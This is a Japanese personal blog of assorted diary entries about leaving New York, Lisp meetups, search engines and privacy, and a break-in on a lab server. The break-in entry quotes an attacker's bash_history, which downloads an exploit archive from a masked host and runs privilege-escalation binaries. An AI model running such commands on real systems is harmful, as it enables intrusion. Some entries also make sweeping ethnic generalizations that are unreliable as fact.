おしらっせ:
このサイトは 8月中旬をもって閉鎖いたします。
数ヶ月したらまたどこかで再開するかもしれませんが、いまのところ予定は未定です。
てくるで最近やたらと spam が増えてない?
ちなみに今日の最高気温は 20℃いかないらしい。すごいことta
けさは午前中に部屋の半分を掃除して外出。 日本語の本を整理してみたら、どうやらトランク一杯につめこむことができたので、 今日はこいつをヒイフウ言いながら 53丁目まで運搬する。 Donnell で対応に出たのは中国人のおじちゃんだったが、 たくさん寄付したので喜んでもらえた。これらの本は必ずしもここに置かれるとは限らないが、 ほかに米国内で日本語の本を必要とする図書館があれば配送される。 「悪霊」上下巻や「ドグマグ」上下巻はどこに行くのだろうか? 全7巻揃ってる本とかもあるので、バラバラに配送されたらやだな。
すっかりキレイになった新山のオフィス。 机の上にあるファイルはぜんぶ中身が空。
ちなみに、分量はけっこうあって、残す人もけっこういたのだが、 新山は最後のデザートまでのこさず食った。かなりしつこかったけど。 実は新山は食おうと思えばそこらへんのアメリカ人と同じくらいか、 それ以上食えるのだということがわかった。ただ普段はそんなに食わないだけである。 っていうかねー、やっぱりアメリカ人とは一緒に暮らせないと思ったな。 こういうものを「うまい」と感じるような人間というのは、そもそも生理的な枠組みが ぜんぜんオレと異なっているようだ。
ところでトカゲのことを「カネチョロ」と呼ぶのは、北信の方言らしい。うんとこさ
こいつを公共の場所に置いて誰にでも安く使えるようにすると、 著作権フリーの本はほんとにタダ同然になるだろう。しかし… 青空文庫のデータを使った本はダイソーで 100円で売ってるよね? あれより高度なものをさらに安価で作れたとしても、100円でアレが買えちゃうなら あまり需要はなさそうに思えるが、もっともっとマイナーな本も作れるようになれば イケるかもしんない。つうか、使用料を払えばべつに著作権フリーじゃなくてもいいのか。 だったらオン・デマンド出版ということになるな。しかしこのマシン自体の使いやすさとお値段は知らず。 基本的にはレーザープリンタと自動製本機を組み合わせたものらしいが、 レーザープリンタはとくに出版用でもないので多少印刷が粗いのと、 作成に時間がかかる。ページ数にもよるが、どうやら 10分ぐらいかかるらしい。
しかし、家にはまだその倍以上の本が残っている。 な・ん・で・オ・レ・は・こんなに本を買ったんだ! こいつらはみんな捨てるか寄付する予定なのだが、さてどうやって運搬しよう。
なにぃ IAEA が査察で「異常なし」だとぉ〜! ウソだヤツらは賄賂を受けとっているんだ!
そうにちがいない。地震じゃゼッっタイに原発に被害が出てもらわねけりゃ困るん
だ!!!!!!!!!!
さて、なんか食い物買ってこよ。
mysql
などというアホなアカウントではなくて、
ずっと使われていなかった "takeuchi
" さんが狙われた。
彼がどんな弱っちいパスワードをつけていたのか知らないが、
bash_history
から復元したクラッカーの行動は以下のようなもんである:
あいかわらず、手なれてるなあ、コンニャロメが。wget xxx.xxxxxxxxxxxx.xxx/xpl.zip unzip xpl.zip rm -rf xpl.zip cd xpl ls -a uname -a cd 2.6.x ls -a chmod +x * ./admin ./getsuid ls -a ./local ./prctl ls -a ./r00t ...
それで、こんなマシンは当然、全消しの再インストールの刑に処すべきはずだったのだが、
セキネさんが「このマシンでしか動かないデモがあるので消したくない」とかフザケたことをいう。
あのねーーーー。「特定のマシンに依存している」という時点で、もうそんなデモはクズ決定である。
やる価値なし。(しかし彼はこのガラクタをわざわざ先月の ACL プラハまで
見せびらかしにいっている、恥ずかしいことこの上ない。)
しかもこの学生が好き放題にマシンをいじりまわしてくれたおかげで、
何がどうなってんだかサッパリわからん。おまけに彼は説明文書もほとんど残さずに逃げていた。
本人はもういないのだが、crontab を見たら、いまだに何かが毎日毎日走っている。
そういうのは消してくれって言ったんですが、
リモートからも私物利用するつもりなんですかね…。そのくせセキュリティはまるでダメと見えて、
ファイヤーウォールを設定せずに (denyhosts
も使わずに) SSH を 22/tcp で動かしている。
ダメじゃん…。そもそもああいう手合いに最初から期待してはいけないと思うのだが、
彼を甘やかしすぎたのが悪かった。いつも思うのだが、セキネさんは学生を見る目がないと思う。
彼が「この学生は優秀で…」と紹介した学生にはたいていロクなのがいない。
技術的にどうこういうよりも、むしろ人間的にね (← って、オレが言うな)。
しかしセキネさん自身は非常にイイ人なので、彼がだまされているのを見るのは忍びない。
だから、オレはこの人からだけは「優秀」などと形容されないように心がけている。フントに。
自分が優秀かどうかは、自分が一番わかっておりますさ。
もちろん、上に書いたようなことは面と向かって言いました。
それで、話は戻るけど、 とりあえずデータだけを他のマシンに移し変えて、すったもんだしたあげく ようやくデモ (らしきもの) が動く (らしき状態) になった。 こういうのは日本語で "wipe someone else's butt" っていうんですよ、とフロアの人間にさんざんグチる。 が、まだおさらまらない。なんでオレが尻ぬぐいせにゃアカンのじゃ、しかもこんな悪いタイミングで!! とりえあえずムカついたので、今日はここに書かずにはいられない。
じつは新山はいままで日本からの visitor を何人も見ているのだが、 こうした日本人学生がいったい何のために来ているのか、 実は新山にはまったくわからない。彼らは日がな端末の前に座り、「はてなナントカ」その他の コミュニティに入りびたり、日本人と IM をして英語も喋らずに帰っていく。 彼らはいったい何が楽しいのやら、最後までわからず。NYU なんかに数ヶ月来ても 経歴にハクがついたことにはまったくならないので、なおさら謎だ。 これって、新しいタイプの観光旅行? まあ、もうドーーでもいいですけど。
ああ、このどうでもよさを、どうしたら人はわかってくれるのだろうか!
ここで一言:
おそらく、ある種の人々は、目標を持って生きている人間を、目障りに感じるのだと思う。-- 小田嶋 隆
define
→ def
, lambda
→ fn
, set!
→ !
など。
#/re/
のように記述する)。彼はどうしても Perl が好きらしい。
(! dic["abc"].member 5)
は dic["abc"].member = 5
なわけね。
.
である)、
Python 風の import
文などがあるが、まあ、基本的には Scheme の焼き直しといえる。
しかし、構造体のアクセス式なんかは実際には Lisp のリーダを改良すれば現在の Common Lisp でも可能だ…
という話が出ていた (つうか、いま ML で出ている)。
実際のところ、Otter では dic["abc"].member
というのは
内部的には (sref (aref dic "abc") 'member)
に変換されて処理されてる。
でもこの特徴を取ってしまうともうあまり言語としての独自性はないような…。
個人的には、そんなことよりも興味あるのは laziness についてだよ!
でも、まあいい。トーク自体はそれなりにおもしろかったが、新山は
そのあとバーで Kenny と Perry がゲソゲソにやり合ってた会話のほうがおもしろかった。
Perry が「この言語についてどう思うか?」と聞くと、Kenny は
「はあ? こんなん意味あるの??」という調子で応答する。
まあ、Kenny はスターリンもびっくりの忠実な Lisp 党員だからな。
Perry は言語は Scheme のように予約語が少ないほうがいいと考えてるらしいのだが、
Kenny はそう思ってないらしい。
Kenny 「オレはあのでっかい Common Lisp の仕様をぜーーんぶ使うんだよ!
あれがまるごと用意されてなけりゃ意味がないんだよ!」
Perry 「でも最初から全部が一緒の名前空間に入ってる必要はないよね?」
Kenny 「なにおおー? オレは最初から、Common Lisp を立ちあげたその瞬間から
ぜ・ん・ぶにアクセスしたいんだよ!」
…というぐあいで、ちっとも話が論理的な方向に進まない。 ちなみにこの日は NYC OpenSolaris User Group (NYCOSUG) の Brian も来ていた。彼は NYLUG ではよくみるが、Lisp のミーティングに 来たのは初めてらしく、ここの狂信的な人々は結構ショックだったらしい。
(追記) ああそういえば Otter にはすでにマスコットができているらしい。 マンガ風のカワウソの絵だが、名前までついていて、"Othmar" という名前らしい。 これは George Washington Bridge を設計した技師 Othmar Ammann にちなんだもので、 Perry によると「今日のトークで言語仕様なんかよりも唯一知ってほしいことは、 こいつの名前だ! Othmar をよろしく!!」とのこと。いやーー、サッっパリわかりません。
ところでラッコとカワウソたぁどう違うんだ。 おんなしに見えるぞ。
米マテル、中国製玩具また回収・880万個。
「鉛不使用」のオモチャで利益を得る米国企業。
べつに中国が嫌いなわけではまったくないのだが、なぜかこういうニュースが目につく。 むかしは日本だってヒドかったのだから、別に中国も悪というわけではなく、ただ「遅れてる」だけにすぎない。 問題は、いつになったら遅れなくなるのかということだけど。
そういえば聞いた話だけど、PhD を出て、ニューヨークでファイナンス関連の会社で システム屋 (というかデータ屋か) として就職すれば、年収 2000万円ぐらいは ごくフツーに稼げるらしいよ (もっとも xiaojian はそんなに稼いでないらしいけど)。 それにしても謎なのは、いったいどこからそんな金が出てくるのだろう、ということだ。 いや、それよりももっと不思議なのは、誰がこの額を決定しているのか。 新山は、個人の給料というものは、基本的に市場原理により決定されていると考えるのだが、 いったいどんな基準を使えばそういう値段が出てくるのか、皆目、サッパリ、わからん。 いったい彼ら金融屋というものは、新山なぞにはおよそ想像もつかないような 能力を備えているのだろうか。それとも、一休建築士とか起床予報士のごとくヤバい職業なのだろうか。 いや、きっとそうだ。きっと。 …オレは基本的に「個人の能力などというものにはみな大差ない」と信じているので、 こうした訳のわからない事例を聞くにつけ、ただ混乱するだけである。
※ くりかえし
聞きたくないメッセージは無視する (というか、そもそも「聞かなかった」ことに) できる。
おそらく (これが最後になる) LispNYC みーてぃんぐに出てきた。 今日は Heow をはじめ Kenny や、Jay や、Matt や、Marc も来ていたので みんなにサヨナラを言うことができた。Peter とも会えたし。 日本人や中国人と比べると、アメリカ人はこうした別れの際には それほどセンチメンタルにならないと思っていたが、時と場合によっては 彼らもセンチメンタルになることがあるのだとわかった。もう 3年以上も前だっけなあ、 いまだに (Pythonユーザということで) Kenny にさんざんイジメられたことを 昨日のように思い出すよ。連中は新山が今までに会った中でも、 もっともオタクっぽい人間どもだった。しかもまったく屈託がなく、 大声で話し、ひたすら Lisp の優位性だけを信じ、怖いものなど何もない、という連中だった。 最後の最後に lisp をちょっとホメたら、Kenny に "don't pretend! (いい子ぶんなよ!)" と言われた…。 けっっ。オレはたぶん彼らのことをいつまでも覚えているだろう。 誰が言ったか、自分以外はみな人生の師だという。 ある人間と出会って、それを幸運に思えないとしたら それはじつに罰当たりなことだ。そして人生というものはつくづくヘンなものだと思うのである。
それにしても、今年の夏は過ごしやすくて助かる。タスカル
…そういう中国人の酒と起居の印象からいえば、私ども日本人はまことにめちゃで、 いつも仲間と心中しているようなところがあった。夜10時にそのまま個々の部屋に ひっこんで寝るということがなく、たいてい誰かの部屋で -- たいていは団長室だったが -- あつまって酒を飲んだ。あすの早朝起床を頭のどこかで気にしつつ、 睡眠と休養の時間を犠牲にし、つまりは自分の生理的疲労の回復に必要な時間を みなでいさぎよく供出し合い、一緒にどぶに捨てるようにフイにし、ともどもに くたびれてしまおうという心中の仕組のような機能の中で深夜まで時をすごした。 結果として泥酔し、そのままベッドにもぐりこむという夜が多かった。日本はやはり 心中の国のようなところがある。…-- 司馬遼太郎 「長安から北京へ」
でもこの説明、日本人には「あーわかるわかる」って感じだけど、 これをそのまま英訳しても心中の説明にはならないんだよね。
もちろん、新山の中にも、こういった「心中的なもの」はある。 しかしこれはもうひとつのオレの原則である個人主義と矛盾するのではないか? 実際には、この 2つは対象とするもののスケールが違うので必ずしも矛盾しないように思う。 でもこれについてもう少し詳しく考えてみる。それはこれからの人生の課題。
実装は忘れ去られても、アルゴリズムは残る。
(The algorithm will remain when the implementation is forgotten.)-- ヘンリー・ロイス
(一部改変は新山)
ところで (てくるで、)
google で site:tabesugi.netを検索すると、
こいつは robots.txt
で禁止したはずのページもばこばこ表示する。
トップページと cur.html
だけははずしているが、
たぶんこの 2つは反応が早いのだろう。ま、google といえども結局
robots.txt
の認識はこの程度だ。
こいつらに文句いってもしょうがないが、web による情報被害は
これからも蓄積していくだろうなあ。
Google のキャッシュがまずいのは、実質的には 削除がほとんど不可能なことだ。もちろんある特定の URL だけなら削除を申請できるが、 内容を別のサイトにミラーされてる場合、そのミラーサイトの制御権がなければ終わりだ。 情報は際限なくコピーされてしまう。たとえば tabesugi.netを勝手にミラーしてるサイトはすぐにみつかる。 各ページに固有 ID をつけてるからね。 新山はこういうサイトに対しては手が出ない (ちなみに、オレはこんなミラーサイトはまったく知らない)。 にもかかわらず、google で検索すれば URL が違うこういったミラーサイトも簡単に発見されてしまう。新山がこうしたミラーサイトの全削除を google に要求すれば、 彼らは応じてくれるのだろうか。そんなバカな。情報の変更や削除をする側は、 つねに 1対多という不利な立場にあるのだ。
(ちょっと寄り道: もしも google や yahoo がこうした苦情に対して本気で対処しようとすれば、 彼らはトンでもない数のサポート人員を配置せざるを得なくなる。 これは彼らお得意の「自動化によるコスト削減」なぞすべてチャラにしても まだ全然足りないほどカネがかかるだろう。 だから今後も連中がこの問題をまじめに扱うことは絶対にない。 youtube なぞは一斉削除に応じているらしいが、それも限られた著作権者に向けてだけだろう。)
これはどんなメディアでもたぶんそうだろうが、もともと世の中は 「いい事象」はすぐに忘れられるが、「悪い事象」はあとあとまで残されるという傾向がある。 恨みつらみは子子孫孫に至るまで残したい人が沢山いるからね (中国人やユダヤ人を見るがいい)。 Web の登場と Winny や google キャッシュのような機能は、こういった「あとあとまで残される」期間を 以前よりも何十倍ものスケールで引き伸ばすことになるだろう。 そして世の中には、あいもかわらず南京大虐殺や、「K.Y. って誰だ」や、 "You is big fool man" などの逸話をうれしそうにコピペする人々であふれている。 で、「あなたの欲する情報を効率よく収集します!」というサービスもこれまた山のようにあって、 かたや「ネット上の情報の信憑性がうんぬん」という人がいて…。
信憑性ですか? そんなものは、最初からアテにしていない。 媒体がどのようなものであれ、最後は個人と個人の信頼関係にもちこまれる。 「書いてあることに筋が通っていれば匿名でも信用される」なんてのは、 プロトコルが厳密に (ピラミッド型に) 定まっている学会論文とかの場合だけだ。 そして個人間の信頼というのは非常に構築がメンドーなものでして…。 ブログロやSNSなぞを使ってそれが簡略化できると考えている人がいるとしたら、そいつは本物のアホだろう。 しかしそういう人が沢山いるように見えるのはなぜ? そうした人間は、結局のところ情報に踊らされる被害者で終わるような気がする。 個人すら信用できない場合には、もう精神病だ。
(追記) 検索で思いだした話。 プライバシー侵害などの悪評被害が起きたとき、本当に悪いのは誰だろう? 前にもちょっと書いたけど、悪い可能性のあるヤツは大きくわけて 3種類いる:
この中で、各人の罪の度合いはどれくらいだろうか?
たいていの人は「公開する奴が一番悪い」というふうに考えがちだけど、
じつはオレは 2. と 3. のファクターもかなりでかいと思う。
なんしろ、情報というのは流出する側と流入する側をつなぐ何かがなければ茶道作動しない。
こいつら二者の罪はとにかく見えにくいことにある。
「塵もつもれば山となる」の“塵”だからね。
ただ社会はこいつらをしょっぴくよりも、 1. の人間を逮捕するほうが圧倒的に簡単だから
(実際、1. のほうが branch factor がでかくて罪が「濃縮」されているので)
そうしているだけのように見える。しかしここで 2. の人間はまったく罪を意識せずにすむ。
ええ、だって検索エンジンはあまりに簡単・便利ですもんね!
Google さえあれば、キミも今日からシュタージの一員だ。
森達也は「放送禁止歌」の中で、メディアの罪における (メディア以外の) もうひとりの黒幕は、 なにも考えず刺激を受けつづける視聴者だ、というようなことを書いている。 新山には、それはまさに 2. の人間と同じタイプのように見える。 いや、インターネットってほんとに楽しいdesune
Document ID: bb83280defbe59d52c1240843f588110
Yusuke Shinyama